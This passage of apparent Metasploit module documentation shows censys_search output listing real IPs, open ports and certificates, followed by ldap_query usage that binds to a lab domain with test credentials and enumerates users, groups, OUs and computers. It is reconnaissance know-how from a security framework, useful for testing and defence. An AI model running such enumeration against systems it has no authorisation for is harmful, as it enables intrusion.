[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7
```
### With certificates details
```
msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID=<redacted> CENSYS_SECRET=<redacted> CERTIFICATES=true
[+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP
[*] Certificate for 21/FTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K)
[*] Certificate for 443/HTTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K)
[+] 2.19.184.214 - 21/FTP
[+] 2.19.184.216 - 21/FTP
[+] 2.23.14.108 - 21/FTP
[+] 2.23.14.163 - 21/FTP,449/UNKNOWN,515/UNKNOWN,4101/UNKNOWN,4222/UNKNOWN,44100/UNKNOWN,44104/UNKNOWN,44117/UNKNOWN,44133/UNKNOWN,44156/UNKNOWN,44161/UNKNOWN,44162/UNKNOWN,44170/UNKNOWN,44174/UNKNOWN
[+] 2.23.14.195 - 21/FTP,45108/UNKNOWN,45110/UNKNOWN,45111/UNKNOWN,45117/UNKNOWN,45149/UNKNOWN,45150/UNKNOWN,45164/UNKNOWN
[+] 2.23.14.199 - 21/FTP
[+] 2.23.14.201 - 21/FTP,47106/UNKNOWN,47113/UNKNOWN,47150/UNKNOWN
[+] 2.23.14.209 - 21/FTP,49100/UNKNOWN,49121/UNKNOWN,49143/UNKNOWN,49152/UNKNOWN
[+] 2.23.14.212 - 21/FTP
[*] Certificate for 21/FTP: C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
[+] 2.23.14.218 - 21/FTP
[*] Certificate for 21/FTP: C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
[+] 2.23.14.235 - 21/FTP
[+] 2.23.14.243 - 21/FTP
...
```
### IPv4 Search
msf6 auxiliary(gather/censys_search) > services
Services
========
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4
CENSYS_SEARCHTYPE => ipv4
[*] 197.117.5.36 - 443/https
[*] 208.118.237.81 - 443/https
[*] 206.19.237.19 - 443/https
[*] 54.214.49.70 - 80/http,443/https
[*] 208.118.237.241 - 443/https
[*] 162.220.246.141 - 443/https,22/ssh,80/http
[*] 31.214.157.19 - 443/https,22/ssh
[*] 52.88.1.225 - 443/https,22/ssh
[*] 208.118.227.12 - 25/smtp
[*] 38.107.201.41 - 443/https
[*] 52.44.56.126 - 80/http,443/https
[*] 52.54.227.6 - 443/https,80/http
[*] 23.217.253.242 - 443/https,80/http
[*] 96.6.3.45 - 80/http,443/https
[*] 23.6.73.47 - 443/https,80/http
[*] 23.78.99.243 - 80/http,443/https
[*] 23.53.51.170 - 80/http,443/https
[*] 23.62.201.47 - 443/https,80/http
[*] 2.23.50.157 - 443/https,80/http
[*] 118.215.191.13 - 80/http,443/https
[*] 2.19.185.28 - 80/http,443/https
[*] 2.18.195.99 - 443/https,80/http
[*] 23.197.196.25 - 443/https,80/http
[*] 95.100.104.181 - 443/https,80/http
[*] 2.20.37.130 - 80/http,443/https
[*] 23.194.237.34 - 443/https,80/http
[*] 2.17.140.86 - 443/https,80/http
[*] 64.125.235.5 - 25/smtp
[*] 208.118.227.32 - 80/http
[*] 2.21.129.149 - 80/http,443/https
[*] 2.20.167.33 - 80/http,443/https
[*] 95.100.139.218 - 80/http,443/https
[*] 23.38.88.202 - 443/https,80/http
[*] 2.17.184.80 - 443/https,80/http
[*] 23.59.119.23 - 80/http,443/https
[*] 2.16.14.225 - 443/https,80/http
[*] 104.113.122.33 - 443/https,80/http
[*] 23.223.44.164 - 80/http,443/https
[*] 88.221.120.214 - 443/https,80/http
[*] 23.47.36.145 - 443/https,80/http
[*] 2.23.21.254 - 80/http,443/https
[*] 208.118.237.39 - 443/https
[*] 208.118.237.40 - 443/https
[*] 208.118.237.41 - 443/https
[*] 23.54.217.47 - 80/http,443/https
[*] 96.17.254.188 - 443/https,80/http
[*] 184.25.129.65 - 443/https,80/http
[*] 104.121.167.123 - 443/https,80/http
[*] 104.94.110.63 - 443/https,80/http
[*] 104.91.11.216 - 80/http,443/https
[*] 23.38.233.47 - 80/http,443/https
[*] 52.86.110.89 - 80/http,443/https
[*] 69.192.73.47 - 443/https,80/http
[*] 184.86.57.47 - 443/https,80/http
[*] 104.86.45.180 - 443/https,80/http
[*] 184.87.72.153 - 80/http,443/https
[*] 23.66.25.47 - 80/http,443/https
[*] 23.56.162.76 - 80/http,443/https
[*] 184.87.133.242 - 443/https,80/http
[*] 23.55.74.28 - 80/http,443/https
[*] 23.6.225.84 - 80/http,443/https
[*] 23.46.133.153 - 443/https,80/http
[*] 23.10.121.47 - 443/https,80/http
[*] 104.109.35.169 - 80/http,443/https
[*] 172.227.101.182 - 80/http,443/https
[*] 184.27.23.104 - 80/http,443/https
[*] 23.49.185.47 - 80/http,443/https
[*] 23.67.172.177 - 80/http,443/https
[*] 23.62.170.161 - 443/https,80/http
[*] 23.219.71.35 - 443/https,80/http
[*] 104.82.94.233 - 443/https,80/http
[*] 184.26.73.47 - 80/http,443/https
[*] 104.68.108.237 - 80/http,443/https
[*] 23.60.39.77 - 80/http,443/https
[*] 23.66.100.92 - 80/http,443/https
[*] 23.61.28.182 - 443/https,80/http
[*] 23.42.116.233 - 80/http,443/https
[*] 104.105.14.197 - 80/http,443/https
[*] 104.103.203.240 - 80/http,443/https
[*] 104.65.57.235 - 80/http,443/https
[*] 23.41.83.224 - 80/http,443/https
[*] 184.51.185.47 - 80/http,443/https
[*] 23.67.231.142 - 80/http,443/https
[*] 208.118.237.38 - 443/https
[*] 104.76.25.28 - 80/http,443/https
[*] 23.196.125.176 - 443/https,80/http
[*] 23.40.154.224 - 80/http,443/https
[*] 23.77.33.204 - 443/https,80/http
[*] 104.88.21.48 - 80/http,443/https
[*] 173.223.134.47 - 80/http,443/https
[*] 23.4.98.72 - 80/http,443/https
[*] 23.44.97.3 - 80/http,443/https
[*] 23.203.66.142 - 443/https,80/http
[*] 23.42.216.251 - 443/https,80/http
[*] 23.42.85.25 - 80/http,443/https
[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh
[*] 104.83.219.182 - 443/https,80/http
[*] 184.86.41.47 - 443/https,80/http
[*] 104.97.72.196 - 443/https,80/http
[*] 69.192.169.48 - 443/https,80/http
```
### Websites Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites
CENSYS_SEARCHTYPE => websites
msf auxiliary(censys_search) > run
[+] rapid7.com - [37743]
[+] logentries.com - [45346]
[+] venturefizz.com - [106102]
[+] gild.com - [116853]
[+] sectools.org - [122125]
[+] ericzhang.me - [155622]
[+] metasploit.com - [156435]
[+] datapipe.com - [209756]
[+] routerpwn.com - [317896]
[+] proxy-base.com - [507954]
[+] config.fr - [542346]
[+] winterwyman.com - [629471]
[+] gogrid.com - [741009]
[+] wesecure.nl - [997423]
[*] Auxiliary module execution completed
host port proto name state info
---- ---- ----- ---- ----- ----
2.19.184.189 80 tcp http open
2.19.184.189 443 tcp http open C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification A
uthority - L1K)
2.19.184.189 21 tcp ftp open C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification A
uthority - L1K)
2.19.184.189 22 tcp ssh open
2.19.184.214 21 tcp ftp open
2.19.184.216 21 tcp ftp open
2.23.14.108 21 tcp ftp open
2.23.14.163 21 tcp ftp open
2.23.14.163 44174 tcp unknown open
2.23.14.163 449 tcp unknown open
2.23.14.163 515 tcp unknown open
2.23.14.163 4101 tcp unknown open
2.23.14.163 4222 tcp unknown open
2.23.14.163 44104 tcp unknown open
2.23.14.163 44100 tcp unknown open
2.23.14.163 44117 tcp unknown open
2.23.14.163 44133 tcp unknown open
2.23.14.163 44156 tcp unknown open
2.23.14.163 44161 tcp unknown open
2.23.14.163 44162 tcp unknown open
2.23.14.163 44170 tcp unknown open
2.23.14.195 45108 tcp unknown open
2.23.14.195 45111 tcp unknown open
2.23.14.195 45164 tcp unknown open
2.23.14.195 45150 tcp unknown open
2.23.14.195 45149 tcp unknown open
2.23.14.195 21 tcp ftp open
2.23.14.195 45117 tcp unknown open
2.23.14.195 45110 tcp unknown open
2.23.14.199 21 tcp ftp open
2.23.14.201 47113 tcp unknown open
2.23.14.201 21 tcp ftp open
2.23.14.201 47106 tcp unknown open
2.23.14.201 47150 tcp unknown open
2.23.14.209 49100 tcp unknown open
2.23.14.209 21 tcp ftp open
2.23.14.209 49143 tcp unknown open
2.23.14.209 49121 tcp unknown open
2.23.14.209 49152 tcp unknown open
2.23.14.212 21 tcp ftp open C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
2.23.14.218 21 tcp ftp open C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
2.23.14.235 21 tcp ftp open
2.23.14.243 21 tcp ftp open
```
@@ -0,0 +1,598 @@
## Vulnerable Application
This module allows users to query an LDAP server using either a custom LDAP query, or
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
file containing custom queries to be executed using the `RUN_QUERY_FILE` action.
If this action is specified, then `QUERY_FILE_PATH` must be a path to the location
of this JSON/YAML file on disk.
Users can also run a single query by using the `RUN_SINGLE_QUERY` option and then setting
the `QUERY_FILTER` datastore option to the filter to send to the LDAP server and `QUERY_ATTRIBUTES`
to a comma seperated string containing the list of attributes they are interested in obtaining
from the results.
As a third option can run one of several predefined queries by setting `ACTION` to the
appropriate value. These options will be loaded from the `ldap_queries_default.yaml` file
located in the MSF configuration directory, located by default at `~/.msf4/ldap_queries_default.yaml`.
Note that you can override the default query settings in this way by defining a query with an
action name that is the same as one of existing actions in the file at
`data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`. This will however prevent any updates
for that action that may be made to the `data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`
file, which may occur as part of Metasploit updates/upgrades, from being used though, so keep this
in mind when using the `~/.msf4/ldap_queries_default.yaml` file.
All results will be returned to the user in table, CSV or JSON format, depending on the value
of the `OUTPUT_FORMAT` datastore option. The characters `||` will be used as a delimiter
should multiple items exist within a single column.
## Verification Steps
1. Do: `use auxiliary/gather/ldap_query`
2. Do: `set ACTION <target action>`
3. Do: `set RHOSTS <target IP(s)>`
4. Optional: `set RPORT <target port>` if target port is non-default.
5: Optional: `set SSL true` if the target port is SSL enabled.
6: Do: `run`
## Options
### OUTPUT_FORMAT
The output format to use. Can be either `csv`, `table` or `json` for
CSV, Rex table output, or JSON output respectively.
### BASE_DN
The LDAP base DN if already obtained. If not supplied, the module will
automatically attempt to find the base DN for the target LDAP server.
### QUERY_FILE_PATH
If the `ACTION` is set to `RUN_QUERY_FILE`, then this option is required and
must be set to the full path to the JSON or YAML file containing the queries to
be run.
The file format must follow the following convention:
```
queries:
- action: THE ACTION NAME
description: "THE ACTION DESCRIPTION"
filter: "THE LDAP FILTER"
attributes:
- dn
- displayName
- name
- description
```
Where `queries` is an array of queries to be run, each containing an `action` field
containing the name of the action to be run, a `description` field describing the
action, a `filter` field containing the filter to send to the LDAP server
(aka what to search on), and the list of attributes that we are interested in from
the results as an array.
### QUERY_FILTER
Used only when the `RUN_SINGLE_QUERY` action is used. This should be set to the filter
aka query that you want to send to the target LDAP server.
### QUERY_ATTRIBUTES
Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separated list
of attributes to display from the full result set for each entry that was returned by the
target LDAP server. Used to filter the results down to manageable sets of data.
## Scenarios
### RUN_SINGLE_QUERY with Table Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
RHOSTS => 172.27.51.83
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_SINGLE_QUERY
ACTION => RUN_SINGLE_QUERY
msf6 auxiliary(gather/ldap_query) > set QUERY_ATTRIBUTES dn,displayName,name
QUERY_ATTRIBUTES => dn,displayName,name
msf6 auxiliary(gather/ldap_query) > set QUERY_FILTER (objectClass=*)
QUERY_FILTER => (objectClass=*)
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.27.51.83
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
[*] Sending single query (objectClass=*) to the LDAP server...
[*] DC=daforest DC=com
==================
Name Attributes
---- ----------
name daforest
[*] CN=Users DC=daforest DC=com
===========================
Name Attributes
---- ----------
name Users
[*] CN=Computers DC=daforest DC=com
===============================
Name Attributes
---- ----------
name Computers
*cut for brevity*
[*] CN=WAPPS1000022 OU=TST OU=Tier 1 DC=daforest DC=com
===================================================
Name Attributes
---- ----------
displayname WAPPS1000022
name WAPPS1000022
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
=================================================
Name Attributes
---- ----------
displayname WLPT1000014
name WLPT1000014
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
================================================================
Name Attributes
---- ----------
displayname WWKS1000016
name WWKS1000016
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
==========================================================
Name Attributes
---- ----------
displayname WVIR1000013
name WVIR1000013
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### RUN_QUERY_FILE with Table Output
Here is the sample query file we will be using:
```
$ cat test.yaml
---
queries:
- action: ENUM_USERS
description: "Enumerate users"
filter: "(|(objectClass=inetOrgPerson)(objectClass=user)(sAMAccountType=805306368)(objectClass=posixAccount))"
columns:
- dn
- displayName
- name
- description
- action: ENUM_ORGUNITS
description: "Enumerate organizational units"
filter: "(objectClass=organizationalUnit)"
columns:
- dn
- displayName
- name
- description
- action: ENUM_GROUPS
description: "Enumerate groups"
filter: "(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))"
columns:
- dn
- name
- groupType
- memberof
```
Here is the results of using this file with the `RUN_QUERY_FILE` action which will
run all queries within the file one after another.
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
RHOSTS => 172.27.51.83
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_QUERY_FILE
ACTION => RUN_QUERY_FILE
msf6 auxiliary(gather/ldap_query) > set QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml
QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
ework/test.yaml
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
ramework/wiki/Using-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.27.51.83
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
[*] Loading queries from /home/gwillcox/git/metasploit-framework/test.yaml...
[*] Running ENUM_USERS...
[*] CN=Administrator CN=Users DC=daforest DC=com
============================================
Name Attributes
---- ----------
description Built-in account for administering the computer/domain
name Administrator
[*] CN=Guest CN=Users DC=daforest DC=com
====================================
Name Attributes
---- ----------
description Built-in account for guest access to the computer/domain
name Guest
*cut for brevity*
[*] Running ENUM_ORGUNITS...
[*] OU=Domain Controllers DC=daforest DC=com
========================================
Name Attributes
---- ----------
description Default container for domain controllers
name Domain Controllers
[*] OU=Admin DC=daforest DC=com
===========================
Name Attributes
---- ----------
name Admin
[*] OU=Tier 0 OU=Admin DC=daforest DC=com
=====================================
Name Attributes
---- ----------
name Tier 0
*cut for brevity*
[*] Running ENUM_GROUPS...
[*] CN=Administrators CN=Builtin DC=daforest DC=com
===============================================
Name Attributes
---- ----------
grouptype -2147483643
name Administrators
[*] CN=Users CN=Builtin DC=daforest DC=com
======================================
Name Attributes
---- ----------
grouptype -2147483643
name Users
[*] CN=Guests CN=Builtin DC=daforest DC=com
=======================================
Name Attributes
---- ----------
grouptype -2147483643
name Guests
[*] CN=Print Operators CN=Builtin DC=daforest DC=com
================================================
Name Attributes
---- ----------
grouptype -2147483643
name Print Operators
[*] CN=Backup Operators CN=Builtin DC=daforest DC=com
=================================================
Name Attributes
---- ----------
grouptype -2147483643
name Backup Operators
*cut for brevity*
[*] CN=EL-chu-distlist1 OU=T2-Roles OU=Tier 2 OU=Admin DC=daforest DC=com
=====================================================================
Name Attributes
---- ----------
grouptype -2147483646
name EL-chu-distlist1
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with Table Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
etasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
msf6 auxiliary(gather/ldap_query) > set ACTION
set ACTION ENUM_ACCOUNTS set ACTION ENUM_DOMAIN_CONTROLLERS set ACTION ENUM_ORGROLES
set ACTION ENUM_ALL_OBJECT_CATEGORY set ACTION ENUM_EXCHANGE_RECIPIENTS set ACTION ENUM_ORGUNITS
set ACTION ENUM_ALL_OBJECT_CLASS set ACTION ENUM_EXCHANGE_SERVERS set ACTION RUN_QUERY_FILE
set ACTION ENUM_COMPUTERS set ACTION ENUM_GROUPS
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
===========================================================
Name Attributes
---- ----------
distinguishedname CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com
dnshostname WIN-F7DQC9SR0HD.daforest.com
name WIN-F7DQC9SR0HD
operatingsystemversion 10.0 (20348)
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
===============================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname FSRWLPT1000000
distinguishedname CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com
name FSRWLPT1000000
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
=====================================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname TSTWVIR1000000
distinguishedname CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com
name TSTWVIR1000000
*cut for brevity*
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
==========================================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname WVIR1000013
distinguishedname CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com
name WVIR1000013
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with CSV Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT csv
OUTPUT_FORMAT => csv
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT csv yes The output format to use (Accepted: csv, table, json)
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] Name,Attributes
"dn","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
"distinguishedname","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
"name","WIN-F7DQC9SR0HD"
"operatingsystemversion","10.0 (20348)"
"dnshostname","WIN-F7DQC9SR0HD.daforest.com"
[*] Name,Attributes
"dn","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
"displayname","FSRWLPT1000000"
"name","FSRWLPT1000000"
[*] Name,Attributes
"dn","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
"displayname","TSTWVIR1000000"
"name","TSTWVIR1000000"
*cut for brevity*
[*] Name,Attributes
"dn","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
"displayname","WVIR1000013"
"name","WVIR1000013"
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with JSON Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT json
OUTPUT_FORMAT => json
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT json yes The output format to use (Accepted: csv, table, json)
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
